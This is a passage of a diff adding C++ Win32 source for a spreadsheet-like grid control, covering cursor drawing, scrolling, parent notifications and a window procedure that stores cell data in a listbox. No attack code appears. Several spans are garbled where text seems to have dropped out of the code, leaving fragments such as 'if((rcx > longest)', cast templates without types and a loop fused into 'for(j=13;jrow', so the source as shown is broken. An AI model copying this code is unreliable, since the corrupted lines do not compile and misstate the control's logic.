BGHS[SI].homecol){return;} + + rect = GetCellRect(hWnd,SI,BGHS[SI].cursorrow,BGHS[SI].cursorcol); + rectwhole=rect; + gdc=GetDC(hWnd); + BGHS[SI].activecellrect = rect; + rop=GetROP2(gdc); + SetROP2(gdc,R2_XORPEN); + SelectObject(gdc,(HBRUSH)GetStockObject(NULL_BRUSH)); + hpen=CreatePen(PS_SOLID,3,BGHS[SI].cursorcolor); //width of 3 + holdpen=(HPEN)SelectObject(gdc,hpen); + Rectangle(gdc,rect.left,rect.top,rect.right,rect.bottom); + SelectObject(gdc,holdpen); + DeleteObject(hpen); + SetROP2(gdc,rop); + ReleaseDC(hWnd,gdc); + } + +void SetCurrentCellStatus(HWND hWnd,int SelfIndex) + { + SetCell(&BGcell,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + if (SendMessage(hWnd, BGM_GETPROTECTION, reinterpret_cast(&BGcell), 0)) + { + BGHS[SelfIndex].CURRENTCELLPROTECTED = TRUE; + } + else + { + BGHS[SelfIndex].CURRENTCELLPROTECTED = FALSE; + } + + } + + + +TCHAR GetASCII(WPARAM wParam, LPARAM lParam) + { + int returnvalue; + TCHAR mbuffer[100]; + int result; + BYTE keys[256]; + WORD dwReturnedValue; + GetKeyboardState(keys); + result = ToAscii(static_cast(wParam), (lParam >> 16) & 0xff, keys, &dwReturnedValue, 0); + returnvalue = (TCHAR) dwReturnedValue; + if(returnvalue < 0){returnvalue = 0;} + wsprintf(mbuffer, TEXT("return value = %d"), returnvalue); + if(result!=1){returnvalue = 0;} + return (TCHAR)returnvalue; + + } + + + +void SetHomeRow(HWND hWnd,int SI,int row,int col) + { + RECT gridrect,cellrect; + //get rect of grid window + GetClientRect(hWnd,&gridrect); + //get rect of current cell + cellrect=GetCellRect(hWnd,SI,row,col); + if((cellrect.bottom > gridrect.bottom)&&((cellrect.bottom - cellrect.top)<(gridrect.bottom-(BGHS[SI].headerrowheight+BGHS[SI].titleheight)))) + { + while(cellrect.bottom > gridrect.bottom) + { + BGHS[SI].homerow ++; + if(row==BGHS[SI].rows) + { + gridrect.top = gridrect.bottom - (BGHS[SI].rowheight); + InvalidateRect(hWnd,&gridrect,TRUE); + } + else + { + InvalidateRect(hWnd,&gridrect,FALSE); + } + cellrect=GetCellRect(hWnd,SI,row,col); + } + } + else + { + if((cellrect.bottom - cellrect.top)>=(gridrect.bottom - (BGHS[SI].headerrowheight+BGHS[SI].titleheight))) + { + BGHS[SI].homerow++; + } + } + cellrect=GetCellRect(hWnd,SI,row,col); + { + while((row < BGHS[SI].homerow)) + { + BGHS[SI].homerow --; + InvalidateRect(hWnd,&gridrect,FALSE); + cellrect=GetCellRect(hWnd,SI,row,col); + } + } + //set the vertical scrollbar position + SetScrollPos(hWnd,SB_VERT,BGHS[SI].homerow,TRUE); + } + + + +void SetHomeCol(HWND hWnd,int SI,int row,int col) + { + RECT gridrect,cellrect; + BOOL LASTCOLVISIBLE; + //get rect of grid window + GetClientRect(hWnd,&gridrect); + //get rect of current cell + cellrect = GetCellRect(hWnd,SI,row,col); + //determine if scroll left or right is needed + while((cellrect.right > gridrect.right)&&(cellrect.left != BGHS[SI].columnwidths[0])) + { + //scroll right is needed + BGHS[SI].homecol++; + //see if last column is visible + cellrect = GetCellRect(hWnd,SI,row,BGHS[SI].cols); + if(cellrect.right <= gridrect.right) + { + LASTCOLVISIBLE=TRUE; + } + else + { + LASTCOLVISIBLE=FALSE; + } + cellrect = GetCellRect(hWnd,SI,row,col); + InvalidateRect(hWnd,&gridrect,FALSE); + } + cellrect = GetCellRect(hWnd,SI,row,col); + while((BGHS[SI].cursorcol < BGHS[SI].homecol)&&(BGHS[SI].homecol > 1)) + + { + //scroll left is needed + BGHS[SI].homecol--; + //see if last column is visible + cellrect = GetCellRect(hWnd,SI,row,BGHS[SI].cols); + if(cellrect.right <= gridrect.right) + { + LASTCOLVISIBLE=TRUE; + } + else + { + LASTCOLVISIBLE=FALSE; + } + + cellrect = GetCellRect(hWnd,SI,row,col); + InvalidateRect(hWnd,&gridrect,FALSE); + } + { + int k; + k=HomeColumnNthVisible(SI); + SetScrollPos(hWnd,SB_HORZ,k,TRUE); + } + } + + + +void ShowVscroll(HWND hWnd,int SI) + { + //if more rows than can be visible on grid, display vertical scrollbar + //otherwise, hide it. + RECT gridrect; + int totalpixels; + int rowsvisibleonscreen; + GetClientRect(hWnd,&gridrect); + totalpixels = gridrect.bottom; + totalpixels -= BGHS[SI].titleheight; + totalpixels -= BGHS[SI].headerrowheight; + totalpixels -= (BGHS[SI].rowheight * BGHS[SI].rows); + rowsvisibleonscreen = (gridrect.bottom - (BGHS[SI].headerrowheight+BGHS[SI].titleheight)) / BGHS[SI].rowheight; + if(totalpixels < 0) + { + //show vscrollbar + ShowScrollBar(hWnd,SB_VERT,TRUE); + SetScrollRange(hWnd,SB_VERT,1,(BGHS[SI].rows-rowsvisibleonscreen)+1,TRUE); + BGHS[SI].VSCROLL = TRUE; + } + else + { + //hide vscrollbar + ShowScrollBar(hWnd,SB_VERT,FALSE); + BGHS[SI].VSCROLL = FALSE; + } + + } + +void ShowHscroll(HWND hWnd,int SI) + { + //if more rows than can be visible on grid, display vertical scrollbar + //otherwise, hide it. + RECT gridrect; + int totalpixels; + int colswithwidth; + int j; + GetClientRect(hWnd,&gridrect); + totalpixels = gridrect.right; + totalpixels -= BGHS[SI].columnwidths[0]; + colswithwidth = 0; + for(j=1;j<=BGHS[SI].cols;j++) + { + totalpixels -= BGHS[SI].columnwidths[j]; + if(BGHS[SI].columnwidths[j]>0) + { + colswithwidth++; + } + } + if(totalpixels < 0) + { + //show hscrollbar + ShowScrollBar(hWnd,SB_HORZ,TRUE); + SetScrollRange(hWnd,SB_HORZ,1,colswithwidth,TRUE); + BGHS[SI].HSCROLL = TRUE; + } + else + { + //hide hscrollbar + ShowScrollBar(hWnd,SB_HORZ,FALSE); + BGHS[SI].HSCROLL = FALSE; + } + + } + + + +void NotifyRowChanged(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_ROWCHANGED); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_SELCHANGE); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + } + + +void NotifyColChanged(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_COLCHANGED); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_SELCHANGE); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + + } + + +void NotifyEndEdit(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_EDITEND); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + + } + + +void NotifyDelete(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_DELETECELL); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + + } + + +void NotifyEditBegin(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_EDITBEGIN); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + + } + +void NotifyEditEnd(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_EDITEND); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + + } + +/* +void NotifyF1(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_F1); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + + } + +void NotifyF2(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_F2); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + + } + +void NotifyF3(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_F3); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + + } + +void NotifyF4(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_F4); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + + } + +void NotifyF5(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_F5); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + + } + +void NotifyF6(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_F6); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + + } + +void NotifyF7(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_F7); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + + } + +void NotifyF8(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_F8); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + + } + +void NotifyF9(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_F9); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + + } + +void NotifyF10(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_F10); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + + } + +void NotifyF11(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_F11); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + + } + +void NotifyF12(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_F12); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + + } +*/ +void NotifyCellClicked(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_CELLCLICKED); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + + } + +void NotifyCellDbClicked(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_CELLDBCLICKED); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + } + +void NotifyCellRClicked(HWND hWnd,int SI) + { + WPARAM wParam; + LPARAM lParam; + lParam = MAKELPARAM(BGHS[SI].cursorrow,BGHS[SI].cursorcol); + wParam=MAKEWPARAM((UINT)BGHS[SI].gridmenu,BGN_CELLRCLICKED); + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + } +void GetVisibleColumns(HWND hWnd,int SI) + { + int j; + int value; + value=0; + for(j=1;j<=BGHS[SI].cols;j++) + { + if(BGHS[SI].columnwidths[j] > 0) + { + value++; + } + } + BGHS[SI].visiblecolumns = value; + SetScrollRange(hWnd,SB_HORZ,1,value,TRUE); + } + +int GetNthVisibleColumn(HWND, int SI, int n) + { + int j,count; + int value; + j=1; + count=0; + value = n-1; + while(j<=BGHS[SI].cols) + { + if(BGHS[SI].columnwidths[j]>0) + { + count++; + if(count==n) + { + value = j; + } + } + j++; + } + return value; + } + + +void CloseEdit(HWND hWnd,int SI) + { + int r,c; + _BGCELL cell; + r=BGHS[SI].cursorrow; + c=BGHS[SI].cursorcol; + cell.row = r; + cell.col = c; + SendMessage(hWnd, BGM_SETCELLDATA, reinterpret_cast(&cell), reinterpret_cast(BGHS[SI].editstring)); + lstrcpy(BGHS[SI].editstring, TEXT("")); + RefreshGrid(hWnd); + BGHS[SI].EDITING = FALSE; + HideCaret(hWnd); + NotifyEditEnd(hWnd,SI); + } + +void DisplayEditString(HWND hWnd,int SI,TCHAR* tstring) + { + int r,c; + HFONT holdfont; + RECT rt; + HDC cdc; + r=BGHS[SI].cursorrow; + c=BGHS[SI].cursorcol; + ShowCaret(hWnd); + if((rcx > longest) + { + longest=size->cx; + } + p = generic_strtok('\0', TEXT("\n")); + } + return longest; +} + + +LRESULT CALLBACK GridProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + int wmId, wmEvent; + PAINTSTRUCT ps; + HDC hdc; + TCHAR buffer[1000]; + int SelfIndex; + int ReturnValue; + UINT SelfMenu; + HINSTANCE hInst; + int iDataType; + static int ASCII; + + + SelfIndex=FindGrid((UINT)GetMenu(hWnd)); + SelfMenu=BGHS[SelfIndex].gridmenu; + + //update the grid width and height variable + { + RECT rect; + + GetClientRect(hWnd,&rect); + BGHS[SelfIndex].gridwidth = rect.right - rect.left; + BGHS[SelfIndex].gridheight = rect.bottom - rect.top; + + } + + ReturnValue = 0; + + switch (message) + { + case WM_COMMAND: + wmId = LOWORD(wParam); + wmEvent = HIWORD(wParam); + // Parse the menu selections: + switch (wmId) + { + case 1: + default: + return DefWindowProc(hWnd, message, wParam, lParam); + } + break; + + case WM_PAINT: + hdc = BeginPaint(hWnd, &ps); + RECT rt; + GetClientRect(hWnd, &rt); + CalcVisibleCellBoundaries(SelfIndex); + //display title + if (BGHS[SelfIndex].titleheight > 0) + DisplayTitle(hWnd,SelfIndex,BGHS[SelfIndex].htitlefont); + //display column 0; + + DisplayColumn(hWnd,SelfIndex,0,0,BGHS[SelfIndex].hfont,BGHS[SelfIndex].hcolumnheadingfont); + { + int c,j,k,offset; + offset = BGHS[SelfIndex].columnwidths[0]; + j=BGHS[SelfIndex].leftvisiblecol; + k=BGHS[SelfIndex].rightvisiblecol; + for(c=j;c<=k;c++) + { + DisplayColumn(hWnd,SelfIndex,c,offset,BGHS[SelfIndex].hfont,BGHS[SelfIndex].hcolumnheadingfont); + offset+=BGHS[SelfIndex].columnwidths[c]; + } + + } + EndPaint(hWnd, &ps); + // + if(GetFocus()==hWnd) + { + PostMessage(hWnd,BGM_DRAWCURSOR,(UINT)SelfIndex,0); + } + + + break; + + + case BGM_PAINTGRID: + { + RECT rect; + GetClientRect(hWnd, &rect); + InvalidateRect(hWnd,&rect,TRUE); + UpdateWindow(hWnd); + MessageBeep(0); + } + break; + case WM_SETTEXT: + { + int j,linecount; + SIZE size; + HDC gdc; + HFONT holdfont; + if(lstrlen((TCHAR*)lParam)>300) + { + lstrcpy(BGHS[SelfIndex].title, TEXT("Title too long (300 chars max)")); + } + else + { + lstrcpy(BGHS[SelfIndex].title,(TCHAR*)lParam); + } + + gdc=GetDC(hWnd); + //get linecount of title; + if(lstrlen(BGHS[SelfIndex].title) > 0) + { + linecount=1; + for (j = 0; j(lstrlen(BGHS[SelfIndex].title)); j++) + { + if (BGHS[SelfIndex].title[j] == '\n') + { + linecount++; + } + + } + holdfont=(HFONT)SelectObject(gdc,BGHS[SelfIndex].htitlefont); + GetTextExtentPoint32(gdc,BGHS[SelfIndex].title,lstrlen(BGHS[SelfIndex].title),&size); + SelectObject(gdc,holdfont); + BGHS[SelfIndex].titleheight = static_cast((size.cy*1.2) * linecount); + } + else + { + //no title + BGHS[SelfIndex].titleheight = 0; + } + ReleaseDC(hWnd,gdc); + + + RefreshGrid(hWnd); + SizeGrid(hWnd,SelfIndex); + + } + break; + case BGM_GETROWS: + ReturnValue = BGHS[SelfIndex].rows; + break; + + case BGM_GETCOLS: + ReturnValue = BGHS[SelfIndex].cols; + break; + + case BGM_GETCOLWIDTH: + ReturnValue = BGHS[SelfIndex].columnwidths[wParam]; + break; + + case BGM_GETROWHEIGHT: + ReturnValue = BGHS[SelfIndex].rowheight; + break; + + case BGM_GETHEADERROWHEIGHT: + ReturnValue = BGHS[SelfIndex].headerrowheight; + break; + + case BGM_GETOWNERDRAWITEM: + ReturnValue = BGHS[SelfIndex].ownerdrawitem; + break; + + case BGM_DRAWCURSOR: + DrawCursor(hWnd, static_cast(wParam)); + break; + case BGM_SETCURSORPOS: + DrawCursor(hWnd,SelfIndex); + if((((int)wParam <= BGHS[SelfIndex].rows)&&((int)wParam > 0))&& + (((int)lParam <= BGHS[SelfIndex].cols)&&((int)lParam > 0))) + { + BGHS[SelfIndex].cursorrow = static_cast(wParam); + BGHS[SelfIndex].cursorcol = static_cast(lParam); + } + else + { + DrawCursor(hWnd,SelfIndex); + break; + } + SetHomeRow(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + SetHomeCol(hWnd,SelfIndex,BGHS[SelfIndex].cursorrow,BGHS[SelfIndex].cursorcol); + DrawCursor(hWnd,SelfIndex); + RefreshGrid(hWnd); + + break; + + case BGM_SETLASTVIEW: + if ((((int)wParam <= BGHS[SelfIndex].rows) && ((int)wParam > 0)) && + (((int)lParam <= BGHS[SelfIndex].rows) && ((int)lParam > 0))) + { + BGHS[SelfIndex].homerow = static_cast(wParam); + BGHS[SelfIndex].homecol = 1; + BGHS[SelfIndex].cursorrow = static_cast(lParam); + BGHS[SelfIndex].cursorcol = 1; + + SetHomeRow(hWnd, SelfIndex, BGHS[SelfIndex].cursorrow, BGHS[SelfIndex].cursorcol); + RefreshGrid(hWnd); + + NotifyRowChanged(hWnd, SelfIndex); + } + break; + + case BGM_SETINITIALCONTENT: + BGHS[SelfIndex].INITIALCONTENT = (BOOL)wParam; + break; + + case BGM_SHOWHILIGHT: + BGHS[SelfIndex].DRAWHIGHLIGHT = (BOOL)wParam; + RefreshGrid(hWnd); + break; + case BGM_EXTENDLASTCOLUMN: + BGHS[SelfIndex].EXTENDLASTCOLUMN = (BOOL)wParam; + RefreshGrid(hWnd); + break; + + case BGM_SHOWINTEGRALROWS: + BGHS[SelfIndex].SHOWINTEGRALROWS = (BOOL)wParam; + SizeGrid(hWnd,SelfIndex); + RefreshGrid(hWnd); + break; + + case BGM_SETCOLAUTOWIDTH: + BGHS[SelfIndex].COLAUTOWIDTH = (BOOL)wParam; + break; + + case BGM_SETALLOWCOLRESIZE: + BGHS[SelfIndex].ALLOWCOLUMNRESIZING = (BOOL)wParam; + break; + + case BGM_PROTECTCELL: + LPBGcell=(_BGCELL*)wParam; + if(OutOfRange(LPBGcell)) + { + wParam=MAKEWPARAM((UINT)GetMenu(hWnd),BGN_OUTOFRANGE); + lParam = 0; + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + ReturnValue = -1; + break; + } + wsprintf(buffer, TEXT("%05d-%03d"), LPBGcell->row,LPBGcell->col); + //see if that cell is already loaded + FindResult = BinarySearchListBox(BGHS[SelfIndex].hlist1,buffer); + if(FindResult != LB_ERR) + { + //it was found, get the text, modify text delete it from list, add modified to list + SendMessage(BGHS[SelfIndex].hlist1, LB_GETTEXT, FindResult, reinterpret_cast(buffer)); + if((BOOL)lParam) + { + buffer[10] = 'P'; + } + else + { + buffer[10] = 'U'; + } + SendMessage(BGHS[SelfIndex].hlist1, LB_DELETESTRING, FindResult, 0); + SendMessage(BGHS[SelfIndex].hlist1, LB_ADDSTRING, FindResult, reinterpret_cast(buffer)); + } + else + { + //protecting or unprotecting a cell that isn't in the list + //add it as blank; + lstrcat(buffer, TEXT("|")); + if((BOOL)lParam) + { + lstrcat(buffer, TEXT("PA")); + } + else + { + lstrcat(buffer, TEXT("UA")); + } + lstrcat(buffer, TEXT("|")); + SendMessage(BGHS[SelfIndex].hlist1, LB_ADDSTRING, FindResult, reinterpret_cast(buffer)); + } + + break; + case BGM_NOTIFYROWCHANGED: + NotifyRowChanged(hWnd,SelfIndex); + break; + case BGM_NOTIFYCOLCHANGED: + NotifyColChanged(hWnd,SelfIndex); + break; + case BGM_SETPROTECT: + if((BOOL)wParam) + { + lstrcpy(BGHS[SelfIndex].protect, TEXT("P")); + } + else + { + lstrcpy(BGHS[SelfIndex].protect, TEXT("U")); + } + break; + + case BGM_AUTOROW: + if((BOOL)wParam) + { + BGHS[SelfIndex].AUTOROW = TRUE; + } + else + { + BGHS[SelfIndex].AUTOROW = FALSE; + } + break; + case BGM_SETEDITABLE: + if((BOOL)wParam) + { + BGHS[SelfIndex].EDITABLE = TRUE; + } + else + { + BGHS[SelfIndex].EDITABLE = FALSE; + } + break; + + case BGM_SETCELLDATA: + LPBGcell=(_BGCELL*)wParam; + if(OutOfRange(LPBGcell)) + { + wParam=MAKEWPARAM((UINT)GetMenu(hWnd),BGN_OUTOFRANGE); + lParam = 0; + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + ReturnValue = -1; + break; + } + wsprintf(buffer, TEXT("%05d-%03d"), LPBGcell->row,LPBGcell->col); + + if (not BGHS[SelfIndex].INITIALCONTENT) // performance enhancement while adding new data + { + //see if that cell is already loaded + FindResult = BinarySearchListBox(BGHS[SelfIndex].hlist1,buffer); + if(FindResult != LB_ERR) + { + //it was found, delete it + SendMessage(BGHS[SelfIndex].hlist1,LB_DELETESTRING,FindResult,0); + } + } + + //now add it + lstrcat(buffer, TEXT("|")); + lstrcat(buffer,BGHS[SelfIndex].protect); + //determine data type (text,numeric, or boolean)(1,2,3) + //iDataType=DetermineDataType((TCHAR*)lParam); + + iDataType = 1; + if(iDataType==1){lstrcat(buffer, TEXT("A"));} + if(iDataType==2){lstrcat(buffer, TEXT("N"));} + if(iDataType==3){lstrcat(buffer, TEXT("T"));} + if(iDataType==4){lstrcat(buffer, TEXT("F"));} + if(iDataType==5){lstrcat(buffer, TEXT("G"));} + + lstrcat(buffer, TEXT("|")); + lstrcat(buffer, (TCHAR*)lParam); + FindResult = static_cast(SendMessage(BGHS[SelfIndex].hlist1, LB_ADDSTRING, 0, reinterpret_cast(buffer))); + + if(FindResult==LB_ERR) + { + MessageBeep(0); + } + { + RECT rect; + rect=GetCellRect(hWnd,SelfIndex,LPBGcell->row,LPBGcell->col); + InvalidateRect(hWnd,&rect,FALSE); + } + //get the last line and adjust grid dimmensions + if(BGHS[SelfIndex].AUTOROW) + { + int j = static_cast(SendMessage(BGHS[SelfIndex].hlist1, LB_GETCOUNT, 0, 0)); + if(j>0) + { + SendMessage(BGHS[SelfIndex].hlist1, LB_GETTEXT, j - 1, reinterpret_cast(buffer)); + buffer[5]=0x00; + j=generic_atoi(buffer); + if(j>SendMessage(hWnd,BGM_GETROWS,0,0)) + { + SendMessage(hWnd,BGM_SETGRIDDIM,j,BGHS[SelfIndex].cols); + } + } + else + { + //no items in the list + SendMessage(hWnd,BGM_SETGRIDDIM,j,BGHS[SelfIndex].cols); + } + } + + //adjust the column width if COLAUTOWIDTH==TRUE + if((BGHS[SelfIndex].COLAUTOWIDTH)||(LPBGcell->row == 0)) + { + HDC hdc; + SIZE size { 0, 0 }; + int required_width; + int current_width; + int required_height = 30; + int current_height; + int longestline; + HFONT holdfont; + hdc=GetDC(hWnd); + if(LPBGcell->row == 0) + { + holdfont=(HFONT)SelectObject(hdc,BGHS[SelfIndex].hcolumnheadingfont); + } + else + { + holdfont=(HFONT)SelectObject(hdc,BGHS[SelfIndex].hfont); + } + //if there are \n codes in the generic_string, find the longest line + longestline=FindLongestLine(hdc,(TCHAR*)lParam,&size); + //GetTextExtentPoint32(hdc,(TCHAR*)lParam,lstrlen((TCHAR*)lParam),&size); + required_width = longestline+15; + required_height = size.cy; + //count lines + { + int count=1; + TCHAR tbuffer[255]; + lstrcpy(tbuffer,(TCHAR*)lParam); + for(int j=0;j<(int)lstrlen(tbuffer);j++) + { + if(tbuffer[j]=='\n'){count++;} + } + if((!BGHS[SelfIndex].ELLIPSIS)||(LPBGcell->row == 0)) + { + required_height *= count; + } + required_height +=5; + } + SelectObject(hdc,holdfont); + ReleaseDC(hWnd,hdc); + current_width = BGHS[SelfIndex].columnwidths[LPBGcell->col]; + if(LPBGcell->row == 0) + { + current_height = BGHS[SelfIndex].headerrowheight; + if(required_height > current_height) + { + SendMessage(hWnd,BGM_SETHEADERROWHEIGHT,required_height,0); + } + } + else + { + current_height = BGHS[SelfIndex].rowheight; + if(required_height > current_height) + { + SendMessage(hWnd, BGM_SETROWHEIGHT, required_height, 0); + } + + } + if(required_width > current_width) + { + SendMessage(hWnd,BGM_SETCOLWIDTH,LPBGcell->col,required_width); + } + ReleaseDC(hWnd,hdc); + } + + break; + + case BGM_GETCELLDATA: + LPBGcell=(_BGCELL*)wParam; + if(OutOfRange(LPBGcell)) + { + wParam = MAKEWPARAM(reinterpret_cast(GetMenu(hWnd)), BGN_OUTOFRANGE); + lParam = 0; + SendMessage(GetParent(hWnd),WM_COMMAND,wParam,lParam); + ReturnValue = -1; + break; + } + wsprintf(buffer, TEXT("%05d-%03d"),LPBGcell->row,LPBGcell->col); + //see if that cell is already loaded + FindResult = BinarySearchListBox(BGHS[SelfIndex].hlist1,buffer); + if(FindResult != LB_ERR) + { + //it was found, get it + SendMessage(BGHS[SelfIndex].hlist1, LB_GETTEXT, FindResult, reinterpret_cast(buffer)); + switch (buffer[10]) // no need to call BGM_GETPROTECTION separately for this + { + case 'U': ReturnValue = 0; break; + case 'P': ReturnValue = 1; break; + default : ReturnValue = 0; break; + } + switch (buffer[11]) // no need to call BGM_GETTYPE separately for this + { + case 'A': ReturnValue |= 1 << 4; break; + case 'N': ReturnValue |= 2 << 4; break; + case 'T': ReturnValue |= 3 << 4; break; + case 'F': ReturnValue |= 4 << 4; break; + case 'G': ReturnValue |= 5 << 4; break; + default : ReturnValue |= 1 << 4; break; + } + int j,k,c; + TCHAR tbuffer[1000]; + lstrcpy(tbuffer,buffer); + k=lstrlen(tbuffer); + c=0; + for(j=13;jrow,LPBGcell->col); + //see if that cell is already loaded + FindResult = BinarySearchListBox(BGHS[SelfIndex].hlist1,buffer); + if(FindResult != LB_ERR) + { + //it was found, delete it + SendMessage(BGHS[SelfIndex].hlist1,LB_DELETESTRING,FindResult,0); + NotifyEndEdit(hWnd,SelfIndex); + } + break; + case BGM_SETGRIDDIM: + if((wParam>=0)&&(wParam<=MAX_ROWS)) + { + BGHS[SelfIndex].rows = static_cast(wParam); + } + else + { + if(wParam<0) + { + BGHS[SelfIndex].rows = 0; + } + else + { + BGHS[SelfIndex].rows = MAX_ROWS; + } + } + + if((lParam>0)&&(lParam<=MAX_COLS)) + { + BGHS[SelfIndex].cols = static_cast(lParam); + } + else + { + if(lParam <= 0) + { + BGHS[SelfIndex].cols = 1; + } + else + { + BGHS[SelfIndex].cols = MAX_COLS; + } + } + {RECT rect; + GetClientRect(hWnd,&rect); + InvalidateRect(hWnd,&rect,TRUE); + } + GetVisibleColumns(hWnd,SelfIndex); + break; + + + case BGM_SETCOLWIDTH: + if((wParam <= MAX_COLS)&&(wParam >= 0) && (lParam >= 0)) + { + RECT rect; + BGHS[SelfIndex].columnwidths[wParam] = static_cast(lParam); + GetClientRect(hWnd,&rect); + InvalidateRect(hWnd,&rect,FALSE); + GetVisibleColumns(hWnd,SelfIndex); + } + break; + case BGM_SETHEADERROWHEIGHT: + if(wParam >= 0) + { + RECT rect; + BGHS[SelfIndex].headerrowheight = static_cast(wParam); + SizeGrid(hWnd,SelfIndex); + GetClientRect(hWnd,&rect); + InvalidateRect(hWnd,&rect,FALSE); + } + break; + + case BGM_GETHOMEROW: + ReturnValue = BGHS[SelfIndex].homerow; + break; + + case BGM_GETROW: + ReturnValue = BGHS[SelfIndex].cursorrow; + break; + case BGM_GETCOL: + ReturnValue = BGHS[SelfIndex].cursorcol; + break; + + case 